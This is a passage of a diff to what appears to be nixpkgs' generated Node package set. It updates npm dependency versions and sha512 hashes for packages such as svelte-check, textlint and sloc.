sources."hasown-2.0.1" (sources."htmlparser2-3.7.3" // { dependencies = [ sources."domutils-1.5.1" @@ -92098,9 +92309,9 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."slate-irc-0.7.3" (sources."slate-irc-parser-0.0.2" // { dependencies = [ @@ -92173,10 +92384,10 @@ in sloc = nodeEnv.buildNodePackage { name = "sloc"; packageName = "sloc"; - version = "0.3.1"; + version = "0.3.2"; src = fetchurl { - url = "https://registry.npmjs.org/sloc/-/sloc-0.3.1.tgz"; - sha512 = "ImBLf1q0R7OHUqAVVjUkW8q1qqGL3hI4ThWbKd8EMe1l1gGmxu062zSHyD/kz8B0Wii5boVYJ3/ZnFatpikBkw=="; + url = "https://registry.npmjs.org/sloc/-/sloc-0.3.2.tgz"; + sha512 = "tnB+gi6TiFpt3qmCGfaV+78dfKwLiH5HRohkW+PnJYHNAcEdk408uxWG+F/3pu4w1eyCO2NC5CpZKuiyMac5GQ=="; }; dependencies = [ sources."async-3.2.5" @@ -92361,7 +92572,7 @@ in sources."@socket.io/component-emitter-3.1.0" sources."@types/cookie-0.4.1" sources."@types/cors-2.8.17" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."accepts-1.3.8" sources."base64id-2.0.0" sources."bufferutil-4.0.8" @@ -92369,7 +92580,7 @@ in sources."cors-2.8.5" sources."debug-4.3.4" sources."engine.io-6.5.4" - sources."engine.io-parser-5.2.1" + sources."engine.io-parser-5.2.2" sources."mime-db-1.52.0" sources."mime-types-2.1.35" sources."ms-2.1.2" @@ -92461,7 +92672,7 @@ in sources."function-bind-1.1.2" sources."hard-rejection-2.1.0" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-4.1.0" sources."http-proxy-agent-2.1.0" sources."https-proxy-agent-3.0.1" @@ -92512,7 +92723,7 @@ in sources."round-to-6.0.0" sources."safe-buffer-5.2.1" sources."sax-1.3.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."signal-exit-3.0.7" (sources."slice-ansi-5.0.0" // { dependencies = [ @@ -92520,9 +92731,9 @@ in ]; }) sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" (sources."speedtest-net-1.6.2" // { dependencies = [ sources."ansi-styles-3.2.1" @@ -92615,10 +92826,10 @@ in svelte-check = nodeEnv.buildNodePackage { name = "svelte-check"; packageName = "svelte-check"; - version = "3.6.3"; + version = "3.6.4"; src = fetchurl { - url = "https://registry.npmjs.org/svelte-check/-/svelte-check-3.6.3.tgz"; - sha512 = "Q2nGnoysxUnB9KjnjpQLZwdjK62DHyW6nuH/gm2qteFnDk0lCehe/6z8TsIvYeKjC6luKaWxiNGyOcWiLLPSwA=="; + url = "https://registry.npmjs.org/svelte-check/-/svelte-check-3.6.4.tgz"; + sha512 = "mY/dqucqm46p72M8yZmn81WPZx9mN6uuw8UVfR3ZKQeLxQg5HDGO3HHm5AZuWZPYNMLJ+TRMn+TeN53HfQ/vsw=="; }; dependencies = [ sources."@ampproject/remapping-2.2.1" @@ -92644,7 +92855,7 @@ in sources."@babel/traverse-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -92671,14 +92882,14 @@ in sources."binary-extensions-2.2.0" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-crc32-0.2.13" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."character-parser-2.2.0" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."coffeescript-2.7.0" sources."color-convert-1.9.3" sources."color-name-1.1.3" @@ -92689,36 +92900,37 @@ in sources."css-3.0.0" sources."debug-4.3.4" sources."decode-uri-component-0.2.2" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."dequal-2.0.3" sources."detect-indent-6.1.0" sources."doctypes-1.1.0" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."errno-0.1.8" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-promise-3.3.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."esm-env-1.0.0" sources."esrap-1.2.1" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fs.realpath-1.0.0" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."gensync-1.0.0-beta.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."glob-parent-5.1.2" sources."globals-11.12.0" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."iconv-lite-0.6.3" sources."image-size-0.5.5" sources."immutable-4.3.5" @@ -92742,10 +92954,10 @@ in sources."json5-2.2.3" sources."jstransformer-1.0.0" sources."less-4.2.0" - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" sources."locate-character-3.0.0" sources."lru-cache-5.1.1" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" (sources."make-dir-2.1.0" // { dependencies = [ sources."semver-5.7.2" @@ -92773,8 +92985,8 @@ in sources."picocolors-1.0.0" sources."picomatch-2.3.1" sources."pify-4.0.1" - sources."postcss-8.4.33" - sources."postcss-load-config-5.0.2" + sources."postcss-8.4.35" + sources."postcss-load-config-5.0.3" sources."promise-7.3.1" sources."prr-1.0.1" sources."pug-3.0.2" @@ -92799,10 +93011,10 @@ in sources."sade-1.8.1" sources."safer-buffer-2.1.2" sources."sander-0.5.1" - sources."sass-1.70.0" + sources."sass-1.71.0" sources."sax-1.3.0" sources."semver-6.3.1" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."sorcery-0.11.0" sources."source-map-0.6.1" sources."source-map-js-1.0.2" @@ -92820,7 +93032,7 @@ in sources."sugarss-4.0.1" sources."supports-color-5.5.0" sources."supports-preserve-symlinks-flag-1.0.0" - (sources."svelte-5.0.0-next.44" // { + (sources."svelte-5.0.0-next.56" // { dependencies = [ sources."acorn-8.11.3" ]; @@ -92837,7 +93049,7 @@ in sources."wrappy-1.0.2" sources."yallist-3.1.1" sources."yaml-2.3.4" - sources."zimmerframe-1.1.0" + sources."zimmerframe-1.1.2" ]; buildInputs = globalBuildInputs; meta = { @@ -92884,7 +93096,7 @@ in sources."@emmetio/css-abbreviation-2.1.8" sources."@emmetio/scanner-1.0.4" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -92909,13 +93121,13 @@ in sources."binary-extensions-2.2.0" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-crc32-0.2.13" - sources."call-bind-1.0.5" - sources."caniuse-lite-1.0.30001582" + sources."call-bind-1.0.7" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."character-parser-2.2.0" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."coffeescript-2.7.0" sources."color-convert-1.9.3" sources."color-name-1.1.3" @@ -92927,35 +93139,36 @@ in sources."debug-4.3.4" sources."decode-uri-component-0.2.2" sources."dedent-js-1.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."detect-indent-6.1.0" sources."doctypes-1.1.0" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emmet-2.4.6" sources."errno-0.1.8" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-promise-3.3.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."estree-walker-2.0.2" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fs.realpath-1.0.0" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."gensync-1.0.0-beta.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."glob-parent-5.1.2" sources."globals-11.12.0" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."iconv-lite-0.6.3" sources."image-size-0.5.5" sources."immutable-4.3.5" @@ -92978,11 +93191,11 @@ in sources."jsonc-parser-2.3.1" sources."jstransformer-1.0.0" sources."less-4.2.0" - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" sources."lodash-4.17.21" sources."lower-case-2.0.2" sources."lru-cache-5.1.1" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" (sources."make-dir-2.1.0" // { dependencies = [ sources."semver-5.7.2" @@ -93010,8 +93223,8 @@ in sources."picocolors-1.0.0" sources."picomatch-2.3.1" sources."pify-4.0.1" - sources."postcss-8.4.33" - sources."postcss-load-config-5.0.2" + sources."postcss-8.4.35" + sources."postcss-load-config-5.0.3" sources."prettier-3.1.1" sources."prettier-plugin-svelte-3.1.2" sources."promise-7.3.1" @@ -93036,10 +93249,10 @@ in sources."run-parallel-1.2.0" sources."safer-buffer-2.1.2" sources."sander-0.5.1" - sources."sass-1.70.0" + sources."sass-1.71.0" sources."sax-1.3.0" sources."semver-6.3.1" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."sorcery-0.11.0" sources."source-map-0.6.1" sources."source-map-js-1.0.2" @@ -93059,7 +93272,7 @@ in sources."supports-preserve-symlinks-flag-1.0.0" sources."svelte-3.59.2" sources."svelte-preprocess-5.1.3" - sources."svelte2tsx-0.7.0" + sources."svelte2tsx-0.7.1" sources."to-fast-properties-2.0.0" sources."to-regex-range-5.0.1" sources."token-stream-1.0.0" @@ -93068,7 +93281,7 @@ in (sources."typescript-auto-import-cache-0.3.2" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -93160,23 +93373,23 @@ in sources."@cspotcode/source-map-support-0.8.1" sources."@isaacs/cliui-8.0.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-regex-5.0.1" @@ -93189,7 +93402,7 @@ in sources."brace-expansion-2.0.1" sources."braces-3.0.2" sources."camelcase-css-2.0.1" - (sources."chokidar-3.5.3" // { + (sources."chokidar-3.6.0" // { dependencies = [ sources."glob-parent-5.1.2" ]; @@ -93210,14 +93423,13 @@ in sources."glob-parent-5.1.2" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."glob-10.3.10" sources."glob-parent-6.0.2" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -93247,12 +93459,12 @@ in sources."picomatch-2.3.1" sources."pify-2.3.0" sources."pirates-4.0.6" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) sources."postcss-nested-6.0.1" @@ -93396,31 +93608,31 @@ in textlint = nodeEnv.buildNodePackage { name = "textlint"; packageName = "textlint"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/textlint/-/textlint-13.4.1.tgz"; - sha512 = "ev6XkQEUMWcW90hTHJKlvt23ca1AtmmK2iw4mazqKnSVz8PTSMg45NB68ht3ev92lIPD+8Wt4D6JxCInZkh4GQ=="; + url = "https://registry.npmjs.org/textlint/-/textlint-14.0.3.tgz"; + sha512 = "AqEG9OcGBSw4KHss55ZrBv75uWeruqTHfix3koQHwqnazRw3eAkFQwQ+NLpzMut+rIBWUUikUzuBN/SOG+obEw=="; }; dependencies = [ sources."@aashutoshrathi/word-wrap-1.2.6" sources."@azu/format-text-1.0.2" sources."@azu/style-format-1.0.1" - sources."@textlint/ast-node-types-13.4.1" - sources."@textlint/ast-tester-13.4.1" - sources."@textlint/ast-traverse-13.4.1" - sources."@textlint/config-loader-13.4.1" - sources."@textlint/feature-flag-13.4.1" - sources."@textlint/fixer-formatter-13.4.1" - sources."@textlint/kernel-13.4.1" - sources."@textlint/linter-formatter-13.4.1" - sources."@textlint/markdown-to-ast-13.4.1" - sources."@textlint/module-interop-13.4.1" - sources."@textlint/source-code-fixer-13.4.1" - sources."@textlint/text-to-ast-13.4.1" - sources."@textlint/textlint-plugin-markdown-13.4.1" - sources."@textlint/textlint-plugin-text-13.4.1" - sources."@textlint/types-13.4.1" - sources."@textlint/utils-13.4.1" + sources."@textlint/ast-node-types-14.0.3" + sources."@textlint/ast-tester-14.0.3" + sources."@textlint/ast-traverse-14.0.3" + sources."@textlint/config-loader-14.0.3" + sources."@textlint/feature-flag-14.0.3" + sources."@textlint/fixer-formatter-14.0.3" + sources."@textlint/kernel-14.0.3" + sources."@textlint/linter-formatter-14.0.3" + sources."@textlint/markdown-to-ast-14.0.3" + sources."@textlint/module-interop-14.0.3" + sources."@textlint/source-code-fixer-14.0.3" + sources."@textlint/text-to-ast-14.0.3" + sources."@textlint/textlint-plugin-markdown-14.0.3" + sources."@textlint/textlint-plugin-text-14.0.3" + sources."@textlint/types-14.0.3" + sources."@textlint/utils-14.0.3" sources."@types/mdast-3.0.15" sources."@types/unist-2.0.10" sources."ajv-8.12.0" @@ -93444,7 +93656,7 @@ in sources."crypt-0.0.2" sources."debug-4.3.4" sources."deep-is-0.1.4" - sources."diff-4.0.2" + sources."diff-5.2.0" sources."emoji-regex-8.0.0" sources."error-ex-1.3.2" sources."escape-string-regexp-4.0.0" @@ -93465,7 +93677,7 @@ in sources."glob-7.2.3" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."inflight-1.0.6" sources."inherits-2.0.4" @@ -93475,7 +93687,6 @@ in sources."is-buffer-2.0.5" sources."is-core-module-2.13.1" sources."is-decimal-1.0.4" - sources."is-file-1.0.0" sources."is-fullwidth-code-point-3.0.0" sources."is-hexadecimal-1.0.4" sources."is-plain-obj-2.1.0" @@ -93567,9 +93778,9 @@ in sources."semver-5.7.2" sources."slice-ansi-4.0.0" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."sprintf-js-1.0.3" sources."string-width-4.2.3" sources."strip-ansi-6.0.1" @@ -93637,21 +93848,23 @@ in sha512 = "GcAtxXttLsZfN75tSCo3V8/RTlglvhnn7McNTgI0uS4ADr67RoD64bSVIs4p/nY3sMNsf1taPjKnhZIQLuVjZg=="; }; dependencies = [ - sources."call-bind-1.0.5" - sources."define-data-property-1.1.1" + sources."call-bind-1.0.7" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."function-bind-1.1.2" sources."functions-have-names-1.2.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."match-index-1.0.3" sources."object-keys-1.1.1" - sources."regexp.prototype.flags-1.5.1" - sources."set-function-length-1.2.0" + sources."regexp.prototype.flags-1.5.2" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" ]; buildInputs = globalBuildInputs; @@ -93667,10 +93880,10 @@ in textlint-rule-alex = nodeEnv.buildNodePackage { name = "textlint-rule-alex"; packageName = "textlint-rule-alex"; - version = "4.0.0"; + version = "5.0.0"; src = fetchurl { - url = "https://registry.npmjs.org/textlint-rule-alex/-/textlint-rule-alex-4.0.0.tgz"; - sha512 = "WdDWGMuwqvj2HzFi7qZ/kyMFEH0wu7FlwXItZZBsH67azzmigMih3X8xxr3Gw5SBqQ4SZoqM/KJErqQ1jSCCBA=="; + url = "https://registry.npmjs.org/textlint-rule-alex/-/textlint-rule-alex-5.0.0.tgz"; + sha512 = "8HkUNY0HezGhzQbIMPvZBVdjKIkJ3Wqi29sSMM4Pc89Hdvcpn9Yr8YQoZi/mFn/njSKm/3AYtKoIMx4ziKDDqg=="; }; dependencies = [ sources."@babel/code-frame-7.23.5" @@ -93707,7 +93920,7 @@ in sources."@types/minimist-1.2.5" sources."@types/ms-0.7.34" sources."@types/nlcst-1.0.4" - sources."@types/node-18.19.13" + sources."@types/node-18.19.17" sources."@types/normalize-package-data-2.4.4" sources."@types/supports-color-8.1.3" sources."@types/unist-2.0.10" @@ -93794,7 +94007,7 @@ in sources."deep-extend-0.6.0" sources."defer-to-connect-2.0.1" sources."dequal-2.0.3" - sources."diff-5.1.0" + sources."diff-5.2.0" sources."dot-prop-6.0.1" sources."duplexer-0.1.2" sources."eastasianwidth-0.2.0" @@ -93829,7 +94042,7 @@ in sources."hard-rejection-2.1.0" sources."has-flag-3.0.0" sources."has-yarn-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hast-util-embedded-2.0.1" sources."hast-util-from-parse5-7.1.2" sources."hast-util-has-property-2.0.1" @@ -94048,7 +94261,7 @@ in sources."retext-profanities-7.2.2" sources."sade-1.8.1" sources."safe-buffer-5.2.1" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -94065,9 +94278,9 @@ in ]; }) sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-0.2.10" (sources."split-transform-stream-0.1.1" // { dependencies = [ @@ -94112,7 +94325,7 @@ in }) sources."to-vfile-7.2.4" sources."trim-newlines-4.1.1" - sources."trough-2.1.0" + sources."trough-2.2.0" sources."type-fest-3.13.1" sources."typedarray-0.0.6" sources."typedarray-to-buffer-3.1.5" @@ -94489,32 +94702,34 @@ in sha512 = "F1kV06CdonOM2awtXjCSRYUsRJfDfZIujQQo4zEMqNqD6UwpkapxpZOiwcwbeaQz00+17ljbJEoGqIe2XeiU+w=="; }; dependencies = [ - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-includes-3.1.7" - sources."arraybuffer.prototype.slice-1.0.2" + sources."arraybuffer.prototype.slice-1.0.3" sources."available-typed-arrays-1.0.6" - sources."call-bind-1.0.5" - sources."define-data-property-1.1.1" + sources."call-bind-1.0.7" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" - sources."es-abstract-1.22.3" + sources."es-abstract-1.22.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-set-tostringtag-2.0.2" sources."es-to-primitive-1.2.1" sources."for-each-0.3.3" sources."function-bind-1.1.2" sources."function.prototype.name-1.1.6" sources."functions-have-names-1.2.3" - sources."get-intrinsic-1.2.2" - sources."get-symbol-description-1.0.0" + sources."get-intrinsic-1.2.4" + sources."get-symbol-description-1.0.2" sources."globalthis-1.0.3" sources."gopd-1.0.1" sources."has-bigints-1.0.2" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" - sources."internal-slot-1.0.6" - sources."is-array-buffer-3.0.2" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" + sources."internal-slot-1.0.7" + sources."is-array-buffer-3.0.4" sources."is-bigint-1.0.4" sources."is-boolean-object-1.1.2" sources."is-callable-1.2.7" @@ -94526,28 +94741,28 @@ in sources."is-shared-array-buffer-1.0.2" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-weakref-1.0.2" sources."isarray-2.0.5" sources."object-inspect-1.13.1" sources."object-keys-1.1.1" sources."object.assign-4.1.5" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."safe-array-concat-1.1.0" - sources."safe-regex-test-1.0.2" - sources."set-function-length-1.2.0" + sources."safe-regex-test-1.0.3" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."string.prototype.trim-1.2.8" sources."string.prototype.trimend-1.0.7" sources."string.prototype.trimstart-1.0.7" - sources."typed-array-buffer-1.0.0" + sources."typed-array-buffer-1.0.1" sources."typed-array-byte-length-1.0.0" sources."typed-array-byte-offset-1.0.0" sources."typed-array-length-1.0.4" sources."unbox-primitive-1.0.2" sources."which-boxed-primitive-1.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" ]; buildInputs = globalBuildInputs; meta = { @@ -94619,7 +94834,7 @@ in sources."@types/cors-2.8.17" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/responselike-1.0.3" sources."abbrev-1.1.1" sources."abstract-logging-2.0.1" @@ -94661,7 +94876,7 @@ in }) sources."cacheable-lookup-5.0.4" sources."cacheable-request-7.0.4" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-4.1.2" sources."cheerio-1.0.0-rc.10" sources."cheerio-select-1.6.0" @@ -94678,7 +94893,7 @@ in sources."content-type-1.0.5" sources."cookie-0.4.2" sources."cookie-signature-1.0.6" - sources."core-js-3.35.1" + sources."core-js-3.36.0" sources."core-util-is-1.0.2" sources."cors-2.8.5" sources."css-select-4.3.0" @@ -94691,7 +94906,7 @@ in }) sources."deep-extend-0.6.0" sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delegates-1.0.0" sources."depd-1.1.2" sources."destroy-1.0.4" @@ -94720,6 +94935,8 @@ in sources."entities-2.2.0" sources."env-paths-2.2.1" sources."err-code-2.0.3" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."etag-1.8.1" @@ -94742,7 +94959,7 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."gauge-3.0.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-5.2.0" sources."glob-7.2.3" sources."gopd-1.0.1" @@ -94750,12 +94967,12 @@ in sources."graceful-fs-4.2.11" sources."grapheme-splitter-1.0.4" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" + sources."has-tostringtag-1.0.2" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."htmlparser2-6.1.0" sources."http-cache-semantics-4.1.1" sources."http-errors-1.8.1" @@ -94782,7 +94999,7 @@ in sources."inflight-1.0.6" sources."inherits-2.0.4" sources."ini-1.3.8" - sources."ip-2.0.0" + sources."ip-address-9.0.5" sources."ipaddr.js-1.9.1" (sources."irc-framework-4.13.1" // { dependencies = [ @@ -94794,10 +95011,11 @@ in sources."is-fullwidth-code-point-3.0.0" sources."is-generator-function-1.0.10" sources."is-lambda-1.0.1" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-utf8-0.2.1" sources."isexe-2.0.0" sources."isomorphic-textencoder-1.0.1" + sources."jsbn-1.1.0" sources."json-buffer-3.0.1" sources."jwa-2.0.0" sources."jws-4.0.0" @@ -94925,7 +95143,7 @@ in }) sources."serve-static-1.14.2" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" sources."signal-exit-3.0.7" sources."smart-buffer-4.2.0" @@ -94942,13 +95160,14 @@ in sources."ms-2.1.2" ]; }) - sources."socks-2.7.1" + sources."socks-2.8.0" (sources."socks-proxy-agent-6.2.1" // { dependencies = [ sources."debug-4.3.4" sources."ms-2.1.2" ]; }) + sources."sprintf-js-1.1.3" sources."sqlite3-5.1.6" (sources."ssri-8.0.1" // { dependencies = [ @@ -94997,7 +95216,7 @@ in sources."webidl-conversions-3.0.1" sources."whatwg-url-5.0.0" sources."which-2.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wide-align-1.1.5" sources."with-open-file-0.1.7" sources."wrappy-1.0.2" @@ -95085,7 +95304,7 @@ in sources."lowercase-keys-2.0.0" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsite-1.0.0" sources."caseless-0.12.0" sources."chalk-2.4.2" @@ -95110,7 +95329,7 @@ in sources."content-type-1.0.5" sources."cookie-0.4.0" sources."cookie-signature-1.0.6" - sources."core-js-3.35.1" + sources."core-js-3.36.0" sources."core-util-is-1.0.2" sources."css-select-1.2.0" sources."css-what-2.1.3" @@ -95119,7 +95338,7 @@ in sources."decompress-response-3.3.0" sources."deep-extend-0.6.0" sources."defer-to-connect-1.1.3" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."delegates-1.0.0" sources."depd-1.1.2" @@ -95153,6 +95372,8 @@ in }) sources."engine.io-parser-2.2.1" sources."entities-1.1.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-promise-4.2.8" sources."es6-promisify-5.0.0" sources."escape-html-1.0.3" @@ -95189,7 +95410,7 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."gauge-2.7.4" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-4.1.0" sources."getpass-0.1.7" sources."glob-7.2.3" @@ -95202,11 +95423,11 @@ in sources."has-binary2-1.0.3" sources."has-cors-1.1.0" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."htmlparser2-3.10.1" sources."http-cache-semantics-4.1.1" (sources."http-errors-1.7.2" // { @@ -95365,9 +95586,9 @@ in }) sources."serve-static-1.14.1" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.1.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" (sources."socket.io-2.3.0" // { dependencies = [ @@ -95709,7 +95930,7 @@ in sources."@types/cacheable-request-6.0.3" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/responselike-1.0.3" sources."abbrev-1.1.1" sources."abstract-logging-2.0.1" @@ -95790,7 +96011,7 @@ in sources."content-type-1.0.5" sources."cookie-0.4.0" sources."cookie-signature-1.0.6" - sources."core-js-3.35.1" + sources."core-js-3.36.0" sources."core-util-is-1.0.2" sources."css-select-1.2.0" sources."css-what-2.1.3" @@ -96178,7 +96399,7 @@ in sources."@types/cacheable-request-6.0.3" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + 